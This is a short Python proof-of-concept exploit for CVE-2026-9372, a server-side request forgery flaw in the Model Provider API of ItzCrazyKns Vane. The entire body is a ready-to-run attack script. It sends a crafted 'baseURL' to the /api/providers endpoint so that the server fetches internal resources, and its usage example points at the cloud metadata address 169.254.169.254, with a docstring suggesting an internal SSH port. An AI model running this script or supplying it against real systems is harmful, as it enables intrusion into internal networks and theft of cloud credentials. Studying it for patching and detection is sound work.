CVE-2026-9372 ItzCrazyKns Vane Model Provider API SSRF漏洞

import requests import sys # CVE-2026-9372 SSRF PoC for ItzCrazyKns Vane # Target: Model Provider API endpoint def exploit_ssrf(target_url, ssrf_target): """ Exploit SSRF vulnerability by manipulating baseURL parameter Args: target_url: Base URL of vulnerable Vane instance ssrf_target: Internal resource to target (e.g., http://127.0.0.1:22) """ endpoint = f"{target_url.rstrip('/')}/api/providers" payload = { 'baseURL': ssrf_target, 'model': 'test', 'apiKey': 'test' } try: response = requests.post(endpoint, json=payload, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] SSRF Target: {ssrf_target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-9372.py <target_url> <ssrf_target>") print("Example: python cve-2026-9372.py http://vulnerable-host:3000 http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] ssrf = sys.argv[2] exploit_ssrf(target, ssrf)